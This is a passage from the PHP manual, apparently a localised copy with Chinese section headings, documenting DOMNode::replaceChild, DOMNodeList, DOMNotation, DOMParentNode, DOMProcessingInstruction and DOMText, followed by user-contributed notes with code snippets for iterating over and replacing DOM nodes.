The new node. It must be a member of the target document, i.e. created by one of the DOMDocument->createXXX() methods or imported in the document by DOMDocument::importNode.

child

The old node.

返回值

The old node or false if an error occur.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the node node, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if node was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if child is not a child of this node.

参见

  • DOMChildNode::replaceWith() - Replaces the node with new nodes
  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMNode::removeChild() - Removes child from list of children

User Contributed Notes

chealer at gmail dot com 15-Aug-2018 03:07
As of version 5.6, PHP still behaves as reported by jb at jbpros dot com. To use replaceChild() in a loop, the more standard pattern used in the following example can be used:

for ($currentNode = 0; $currentNode < $link->childNodes->length; $currentNode++) {
    $child = $link->childNodes[$currentNode];

    // "Remove" links, since links can't contain links
    if ($child instanceof DOMElement && $child->tagName == 'a') {
        $replacement = $dom->createTextNode($child->textContent);
        $link->replaceChild($replacement, $child);
    }
}
jb at jbpros dot com 01-Mar-2005 08:08
If you are trying to replace more than one node at once, you have to be careful about iterating over the DOMNodeList.  If the old node has a different name from the new node, it will be removed from the list once it has been replaced.  Use a regressive loop:

<?php

$xml = new DOMDocument;
$xml->load('docfile.xml');

$elements = $xml->getElementsByTagNameNS('http://www.example.com/NS/', '*');
$i = $elements->length - 1;
while ($i > -1) {
    $element = $elements->item($i);
    $ignore = false;

    $newelement = $xml>createTextNode('Some new node!');
    $element->parentNode->replaceChild($newelement, $element);
    $i--;
}

?>

The loop counter ($i) will always be in the list's interval as removed elements indexes are above the counter.
aidan at php dot net 26-Dec-2004 02:17
Here is a simple example for replacing a node:

Let's define our XML like so:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<root>
  <parent>
     <child>bar</child>
     <child>foo</child>
  </parent>
</root>
XML;
?>

If we wanted to replace the entire <parent> node, we could do something like this:

<?php
// Create a new document fragment to hold the new <parent> node
$parent = new DomDocument;
$parent_node = $parent ->createElement('parent');

// Add some children
$parent_node->appendChild($parent->createElement('child', 'somevalue'));
$parent_node->appendChild($parent->createElement('child', 'anothervalue'));

// Add the keywordset into the new document
// The $parent variable now holds the new node as a document fragment
$parent->appendChild($parent_node);
?>

Next, we need to locate the old node:

<?php
// Load the XML
$dom = new DomDocument;
$dom->loadXML($xml);

// Locate the old parent node
$xpath = new DOMXpath($dom);
$nodelist = $xpath->query('/root/parent');
$oldnode = $nodelist->item(0);
?>

We then import and replace the new node:

<?php
// Load the $parent document fragment into the current document
$newnode = $dom->importNode($parent->documentElement, true);

// Replace
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// Display
echo $dom->saveXML();
?>

Our new node is successfully imported:

<?xml version="1.0"?>
<root>
<parent><child>somevalue</child><child>anothervalue</child></parent>
</root>
franp at free dot fr 23-Sep-2004 08:39
1) If your XPath query returns a NodeList including a unique item, or if you know for sure the order of the items returned, you can use the "item(n)" syntax instead of the "foreach" syntax.
This can greatly improve you code lisibility.
s the method name implies, replaceChild cannot replace a node itself but a child of a node.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
 <actionGlobal>
  <actionGlobalFR>sometext</actionGlobalFR>
 <actionGlobal>
</action>

$frag = $doc->createElement("actionGlobalFR");
$fragA = $doc->createTextNode("anothertext");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/actionGlobal/actionGlobalFR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($ajout, $xpResult->item(0));

2) Also, as the method name implies, replaceChild cannot replace a node itself but a child of a node.
Still it is possible to replace a node pointed by XPath istead of its child.
The trick is to use replaceChild on the parent node of your Xpath query result.

<?xml version="1.0" ?>
<action>
  <FR>French Text</FR>
</action>

<?php
$frag = $doc->createElement("EN");
$fragA = $doc->createTextNode("English Text");
$frag->appendChild($fragA);

$xpResult = $xp->query("/action/FR");
$blipblip = $xpResult->item(0)->parentNode->replaceChild($fragA, $xpResult->item(0));
?>

Et voil? !

This produces :
<?xml version="1.0" ?>
<action>
  <EN>English Text</EN>
</action>

....................................................

3) Also, be carefull, you CANNOT replace a node that doesn't exist.
While this may seems obvious, it is easy to forget.

Consider this :
<?xml version="1.0" ?>
<action>
  <EN></EN>
</action>

You cannot use replaceChild() to turn this into :
<?xml version="1.0" ?>
<action>
  <EN>Some text</EN>
</action>

The reason is that since the <EN></EN> element is empty, it has no child (this is clearer to understand if you consider that <EN></EN> can be written <EN />).
The fact that you intend to put some text inbetween <EN> and </EN> does not change the fact that it has no text yet, thus no child yet.
When dealing with DOM, do not take your dream for the reality. The DOM parser doen't care about your dreams. If an element is currently empty, it has no child, whatever you intend to fill in.

Thus, the solution to teh problem is to use appendChild intead of replaceChild :

<?php
$fragA = $doc->createTextNode("Some Text");
$xpResult = $xp->query("/action/EN");
$blipblip = $xpResult->item(0)->appendChild($fragA);
?>

This produces the awaited :
<?xml version="1.0" ?>
<action>
  <EN>Some Text</EN>
</action>

....................................................

4) Note that the description of replaceChild in the doc is wrong. Arguments have been inverted.
The correct description is :
object DOMNode->replaceChild (object newnode, object oldnode)


The DOMNodeList class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMNodeList implements IteratorAggregate, Countable {
/* 属性 */
public readonly int $length;
/* 方法 */
public count(): int
public getIterator(): Iterator
public item(int $index): DOMElement|DOMNode|DOMNameSpaceNode|null
}

属性

length

The number of nodes in the list. The range of valid child node indices is 0 to length - 1 inclusive.

更新日志

版本 | 说明
8.0.0 | DOMNodeList implements IteratorAggregate now. Previously, Traversable was implemented instead.
7.2.0 | The Countable interface is implemented and returns the value of the length property.

参见

  • » W3C specification of NodeList

Table of Contents

  • DOMNodeList::count — Get number of nodes in the list
  • DOMNodeList::getIterator — Retrieve an external iterator
  • DOMNodeList::item — Retrieves a node specified by index

User Contributed Notes

niko at yopmail dot com 03-Apr-2021 03:13
It's worth to mention that DOMNodeList is not an Array,  so you have to convert first to an array before to use for, foreach or array_map, array_filter, array_walk functions.

Use iterator_to_array to make the conversion ( since PHP 5.1.0 ) .

<code>
  /* @ suppress warning var_dump not yet implemented for class */

@array_walk( iterator_to_array( $Some_NodeList ), 'var_dump' ) );

foreach( iterator_to_array( $Some_NodeList ) as $node )
    @var_dump( $node );

</code>

Hope is usefull.
ignitedfirestarter at gmail dot com 04-Jul-2012 10:39
If you want to recurse over a DOM then this might help:
<?php

/**
 * PHP's DOM classes are recursive but don't provide an implementation of
 * RecursiveIterator. This class provides a RecursiveIterator for looping over DOMNodeList
 */
class DOMNodeRecursiveIterator extends ArrayIterator implements RecursiveIterator {

  public function __construct (DOMNodeList $node_list) {

    $nodes = array();
    foreach($node_list as $node) {
      $nodes[] = $node;
    }

    parent::__construct($nodes);

  }

  public function getRecursiveIterator(){
    return new RecursiveIteratorIterator($this, RecursiveIteratorIterator::SELF_FIRST);
  }

  public function hasChildren () {
    return $this->current()->hasChildNodes();
  }

  public function getChildren () {
    return new self($this->current()->childNodes);
  }

}
?>
geompse at gmail dot com 19-May-2010 08:39
Note that $length is calculated (php5.3.2).
Iterating over a large NodeList may be time expensive.

Prefer :
$nb = $nodelist->length;
for($pos=0; $pos<$nb; $pos++)

Than:
for($pos=0; $pos<$nodelist->length; $pos++)

I had a hard time figuring that out...
bobvandell at hotmail dot com 26-Aug-2008 09:12
That's actually incorrect. You can use function results as objects. It makes building an API for your database very clean and neat. For example:

Our code:

$articles = Node::screate('tags', 123456)->assets('like:title:test')->articles;

We use the above code to get articles that are linked to assets that are linked to a specific tag in our database.
c dot 1 at smithies dot org 23-May-2008 05:43
You can modify, and even delete, nodes from a DOMNodeList if you iterate backwards:

$els = $document->getElementsByTagName('input');
for ($i = $els->length; --$i >= 0; ) {
  $el = $els->item($i);
  switch ($el->getAttribute('name')) {
    case 'MAX_FILE_SIZE' :
      $el->parentNode->removeChild($el);
    break;
    case 'inputfile' :
      $el->setAttribute('type', 'text');
    //break;
  }
}
drichter at muvicom dot de 14-May-2008 06:11
Addition to my first note:

An traditional for-loop does not allow you to change the DOM-tree while looping - the effects are the nearly the same as with foreach. So you have to collect the nodes in an array and do the tree-altering stuff within a second loop (looping the array this time ...)
drichter at muvicom dot de 14-May-2008 04:56
I have done some testing and have found 2 results:
(My System: Win XP with PHP 5.2.1)

1) Iteration with foreach does function correctly as "james dot j dot hackett at gmail dot com" writes, _if_ you only do readonly stuff with foreach or minor writings of some attributes.

2) foreach does not function, if you are doing some DOM-Operations while iterating. In my situation it was adding the iterated $node as an child to an new node:

$newNode = $dom->createElement('newNode') ;
foreach ($nodeList as $node) {
  echo $node->nodeValue ;
  $newNode->appendChild($node) ;
}

This only gives you the first element ...

I'm interpreting it as an confusing but correct behavior because of the changes within the $dom-object while appending the node at an additional place ...

So, if you want to do something like 2) use for, length and item() :)
james dot j dot hackett at gmail dot com 08-May-2008 09:47
In Response to 'kassah at gmail'

You don't need to convert a DOMNodeList to an array in order iterate through it using 'foreach'.  You can use foreach directly with the DOMNodeList.

$nodeList = $someDomDocument->getElementsbytagname('user');

foreach ($nodeList as $node) {
    echo $node->nodeValue;
}
brack at wjp dot de 21-Apr-2008 02:35
In PHP 5.2.5 (Windows) it is not possible to iterate correctly over the DOMNodeList object returned by DOMNode->childNodes using foreach. Instead I had to use the for loop in conjunction with the item() method of DOMNodeList for iterating over all child nodes correctly.

I don't know whether this is really a bug, but apparently it is.


Get number of nodes in the list

  • ? DOMNodeList
  • DOMNodeList::getIterator ?
  • PHP Manual
  • DOMNodeList
  • Get number of nodes in the list

DOMNodeList::count

(PHP 7 >= 7.2.0, PHP 8)

DOMNodeList::count — Get number of nodes in the list

说明

public DOMNodeList::count(): int

Gets the number of nodes in the list.

参数

此函数没有参数。

返回值

Returns the number of nodes in the list, which is identical to the length property.

User Contributed Notes

plimpton47 at example dot com 04-May-2018 08:09
Be careful with using this function as it's not available for anything before PHP 7.2, use the length property instead


Retrieve an external iterator

  • ? DOMNodeList::count
  • DOMNodeList::item ?
  • PHP Manual
  • DOMNodeList
  • Retrieve an external iterator

DOMNodeList::getIterator

(PHP 8)

DOMNodeList::getIterator — Retrieve an external iterator

说明

public DOMNodeList::getIterator(): Iterator

Returns an external iterator for the node list.

参数

此函数没有参数。

返回值

实现了 Iterator 或 Traversable 接口的类的一个实例。

错误／异常

失败时抛出 Exception。

参见

  • IteratorAggregate::getIterator() - 获取一个外部迭代器

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a node specified by index

  • ? DOMNodeList::getIterator
  • DOMNotation ?
  • PHP Manual
  • DOMNodeList
  • Retrieves a node specified by index

DOMNodeList::item

(PHP 5, PHP 7, PHP 8)

DOMNodeList::item — Retrieves a node specified by index

说明

public DOMNodeList::item(int $index): DOMElement|DOMNode|DOMNameSpaceNode|null

Retrieves a node specified by index within the DOMNodeList object.

Tip

If you need to know the number of nodes in the collection, use the length property of the DOMNodeList object.

参数

index

Index of the node into the collection.

返回值

The node at the indexth position in the DOMNodeList, or null if that is not a valid index.

示例

Example #1 Traversing all the entries of the table

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$items = $doc->getElementsByTagName('entry');

for ($i = 0; $i < $items->length; $i++) {
echo $items->item($i)->nodeValue . "\n";
}

?>

Alternatively, you can use foreach, which is a much more convenient way:

<?php

foreach ($items as $item) {
echo $item->nodeValue . "\n";
}

?>

以上示例会输出：

Title
Author
Language
ISBN
The Grapes of Wrath
John Steinbeck
en
0140186409
The Pearl
John Steinbeck
en
014017737X
Samarcande
Amine Maalouf
fr
2253051209

User Contributed Notes

jeffpuckett2 at gmail dot com 15-Jun-2016 02:55
DOMNodelist::item can return a DOMElement object, which extends DOMNode class. But it can also return a DOMText object.

<?php
$xml = '
<root>
  <node/>
  <node>
    <sub>more</sub>
  </node>
  <node>
    <sub>another</sub>
  </node>
  <node>value</node>
</root>
';

$doc = new DOMDocument();
$doc->loadXML($xml);

$items = $doc->documentElement->childNodes;
for ($i = 0; $i < $items->length; $i++)
  echo get_class($items->item($i)).PHP_EOL;
?>

Results in this output:

DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
Anonymous 25-Jun-2012 11:36
calling domnodelist->item($i) with an index $i greater than domnodelist->length - 1 , will return the entire document, will not produce an error, and will not circle back to the start of the list.
Nagy Attila 06-Jan-2011 09:02
DOMNodeList::item does not return in constant time!

If you need to iterate over large nodelist then you'd better use standard navigation.

Instead of:

<?php
foreach ($nodelist as $node) {
    // do something
}
?>

you could do:

<?php
$node = $parentnode->firstChild;

do {
    // do something
} while ($node = $node->nextSibling);
?>
olivier dot berger at it-sudparis dot eu 21-Aug-2008 02:56
It seems that with zend.ze1_compatibility_mode on, the only way to iterate over the items list is with :
for ($i = 0; $i < $nodeList->length; ++$i) {
    $nodeName = $nodeList->item($i)->nodeName;
    $nodeValue = $nodeList->item($i)->nodeValue;
}

As other attemps failed :

for ($i = 0; $i < $nodeList->length; ++$i) {
    $node = &$nodeList->item($i);
    $nodeName = $node->nodeName;
    $nodeValue = $node->nodeValue;
}

or :
foreach ($nodeList as $node) {
    echo $node->nodeName;
    echo $node->nodeValue;
}
vinyanov at poczta dot onet dot pl 05-Jan-2008 10:12
SimpleXML has its own SPL iterator. See http://www.php.net/~helly/php/ext/spl/classSimpleXMLIterator.html . But I guess that there are none for DOM nodes. By the way, two out of three implementations I found over the Net were not recursive, so I wrote my own. Here is the snippet:

<?php

class DOMNodeListIterator implements RecursiveIterator
{
    private
        $nodes,
        $offset;

    function __construct(DOMNodeList $nodes)
    {
        return $this -> nodes = $nodes;
    }

    function rewind()
    {
        return $this -> offset = 0;
    }

    function current()
    {
        return $this -> nodes -> item($this -> offset);
    }

    function key()
    {
        return $this -> current() -> nodeName;
    }

    function next()
    {
        return $this -> offset++;
    }

    function valid()
    {
        return $this -> offset < $this -> nodes -> length;
    }

    function hasChildren()
    {
        return isset($this -> current() -> childNodes -> length) && $this -> current() -> childNodes -> length > 0;
    }

    function getChildren()
    {
        return new self($this -> current() -> childNodes);
    }
}

?>

Remember to use RecursiveIteratorIterator::SELF_FIRST flag when you create your iterator iterator.

<?php

$iterator = new DOMNodeListIterator($document -> childNodes);
$iterator = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::SELF_FIRST);

?>

Should work, has just few minutes though. :)
Hayley Watson 29-Oct-2007 02:14
Keep in mind that DOMNodelists are "live" - changes to the document or node that the DOMNodelist was derived from will be reflected in the DOMNodelist. In other words, a list of a parent node's children will change if you change the parent's children!
james dot dunmore at gmai dot com 27-Jul-2007 08:57
tfg_allardyce at gmail dot com

I have had exactly this problem.

To rectify I've had to do this:
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0);
$new_element = $doc->createElement('NewElement1');

$old_element_childNodes = $old_element->childNodes;
$length = $old_element_childNodes->length;

for($i = 0; $i < $length; $i++)
{
    $oldChildren_array[] = $old_element_childNodes->item($i);
}

foreach($oldChildren_array as $old_c)
{
    $new_element->appendChild($old_c);
}
?>

Rather than this:
(which I will bug report)
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0):
$new_element = $doc->createElement('NewElement1');

foreach($old_element->childNode as $node)
{
     $new_element->appendChild($node);
}

?>

Using the latter, randomally removes the children!
Geoffrey Thubron 26-May-2007 02:47
@ tfg_allardyce at gmail dot com

You could loop through the list backwards, that way, you are only ever taking off the last item from the list, and hence wont have disrupted the order.
oliver dot christen at camptocamp dot com 13-Feb-2007 07:27
NodeList are something annoying because you can't output the content with a simple print_r, so I did a little function that add all the node to a new empty DOMDocument and output it as a string.
Have fun.

<?php

public function domNodeList_to_string($DomNodeList) {
    $output = '';
    $doc = new DOMDocument;
    while ( $node = $DomNodeList->item($i) ) {
        // import node
        $domNode = $doc->importNode($node, true);
        // append node
        $doc->appendChild($domNode);
        $i++;
    }
    $output = $doc->saveXML();
    $output = print_r($output, 1);
    // I added this because xml output and ajax do not like each others
    $output = htmlspecialchars($output);
    return $output;
}

?>


The DOMNotation class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMNotation extends DOMNode {
/* 属性 */
public readonly string $publicId;
public readonly string $systemId;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

publicId

systemId

User Contributed Notes

There are no user contributed notes for this page.


The DOMParentNode interface

(PHP 8)

接口摘要

interface DOMParentNode {
/* 方法 */
public append(DOMNode|string ...$nodes): void
public prepend(DOMNode|string ...$nodes): void
public replaceChildren(DOMNode|string ...$nodes): void
}

Table of Contents

  • DOMParentNode::append — Appends nodes after the last child node
  • DOMParentNode::prepend — Prepends nodes before the first child node
  • DOMParentNode::replaceChildren — Replace children in node

User Contributed Notes

There are no user contributed notes for this page.


Appends nodes after the last child node

  • ? DOMParentNode
  • DOMParentNode::prepend ?
  • PHP Manual
  • DOMParentNode
  • Appends nodes after the last child node

DOMParentNode::append

(PHP 8)

DOMParentNode::append — Appends nodes after the last child node

说明

public DOMParentNode::append(DOMNode|string ...$nodes): void

Appends one or many nodes to the list of children after the last child node.

参数

nodes

The nodes to append. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

参见

  • DOMParentNode::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


Prepends nodes before the first child node

  • ? DOMParentNode::append
  • DOMParentNode::replaceChildren ?
  • PHP Manual
  • DOMParentNode
  • Prepends nodes before the first child node

DOMParentNode::prepend

(PHP 8)

DOMParentNode::prepend — Prepends nodes before the first child node

说明

public DOMParentNode::prepend(DOMNode|string ...$nodes): void

Prepends one or many nodes to the list of children before the first child node.

参数

nodes

The nodes to prepend. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

参见

  • DOMParentNode::append() - Appends nodes after the last child node

User Contributed Notes

There are no user contributed notes for this page.


Replace children in node

  • ? DOMParentNode::prepend
  • DOMProcessingInstruction ?
  • PHP Manual
  • DOMParentNode
  • Replace children in node

DOMParentNode::replaceChildren

(PHP 8 >= 8.3.0)

DOMParentNode::replaceChildren — Replace children in node

说明

public DOMParentNode::replaceChildren(DOMNode|string ...$nodes): void

Replace children in node.

参数

nodes

The nodes replacing the children. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMParentNode::replaceChildren() example

<?php

$dom = new DOMDocument();
$dom->loadHTML('<!DOCTYPE HTML><html><p>hi</p> test <p>hi2</p></html>');

$dom->documentElement->replaceChildren('foo', $dom->createElement('p'), 'bar');
echo $dom->saveXML();
?>

以上示例会输出：

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE HTML>
<html>foo<p/>bar</html>

User Contributed Notes

There are no user contributed notes for this page.


The DOMProcessingInstruction class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMProcessingInstruction extends DOMNode {
/* 属性 */
public readonly string $target;
public string $data;
/* 继承的属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $name, string $value = "")
/* 继承的方法 */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

target

data

Table of Contents

  • DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMProcessingInstruction object

  • ? DOMProcessingInstruction
  • DOMText ?
  • PHP Manual
  • DOMProcessingInstruction
  • Creates a new DOMProcessingInstruction object

DOMProcessingInstruction::__construct

(PHP 5, PHP 7, PHP 8)

DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object

说明

public DOMProcessingInstruction::__construct(string $name, string $value = "")

Creates a new DOMProcessingInstruction object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createProcessingInstruction.

参数

name

The tag name of the processing instruction.

value

The value of the processing instruction.

示例

Example #1 Creating a new DOMProcessingInstruction object

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$html = $dom->appendChild(new DOMElement('html'));
$body = $html->appendChild(new DOMElement('body'));
$pinode = new DOMProcessingInstruction('php', 'echo "Hello World"; ');
$body->appendChild($pinode);
echo $dom->saveXML();

?>

以上示例会输出：

<?xml version="1.0" encoding="UTF-8"?>
<html><body><?php echo "Hello World"; ?></body></html>

参见

  • DOMDocument::createProcessingInstruction() - Creates new PI node

User Contributed Notes

There are no user contributed notes for this page.


The DOMText class

(PHP 5, PHP 7, PHP 8)

简介

The DOMText class inherits from DOMCharacterData and represents the textual content of a DOMElement or DOMAttr.

类摘要

class DOMText extends DOMCharacterData {
/* 属性 */
public readonly string $wholeText;
/* 继承的属性 */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public __construct(string $data = "")
public isElementContentWhitespace(): bool
public isWhitespaceInElementContent(): bool
public splitText(int $offset): DOMText|false
/* 继承的方法 */
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

wholeText

Holds all the text of logically-adjacent (not separated by Element, Comment or Processing Instruction) Text nodes.

更新日志

版本 | 说明
8.0.0 | The unimplemented method DOMText::replaceWholeText() has been removed.

Table of Contents

  • DOMText::__construct — Creates a new DOMText object
  • DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content
  • DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace
  • DOMText::splitText — Breaks this node into two nodes at the specified offset

User Contributed Notes

Trititaty 20-Oct-2016 11:47
Text replacement function for DOM.

<?php
function domTextReplace( $search, $replace, DOMNode &$domNode, $isRegEx = false ) {
  if ( $domNode->hasChildNodes() ) {
    $children = array();
    // since looping through a DOM being modified is a bad idea we prepare an array:
    foreach ( $domNode->childNodes as $child ) {
      $children[] = $child;
    }
    foreach ( $children as $child ) {
      if ( $child->nodeType === XML_TEXT_NODE ) {
        $oldText = $child->wholeText;
        if ( $isRegEx ) {
          $newText = preg_replace( $search, $replace, $oldText );
        } else {
          $newText = str_replace( $search, $replace, $oldText );
        }
        $newTextNode = $domNode->ownerDocument->createTextNode( $newText );
        $domNode->replaceChild( $newTextNode, $child );
      } else {
        domTextReplace( $search, $replace, $child, $isRegEx );
      }
    }
  }
}


Creates a new DOMText object

  • ? DOMText
  • DOMText::isElementContentWhitespace ?
  • PHP Manual
  • DOMText
  • Creates a new DOMText object

DOMText::__construct

(PHP 5, PHP 7, PHP 8)

DOMText::__construct — Creates a new DOMText object

说明

public DOMText::__construct(string $data = "")

Creates a new DOMText object.

参数

data

The value of the text node. If not supplied an empty text node is created.

示例

Example #1 Creating a new DOMText

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMText('root value'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>root value</root> */

?>

参见

  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Thomas 27-Apr-2012 01:54
I experinced that DOMText, given a integer as only value to the constructor failed to return valid data. I had to typecast the input to a string first:

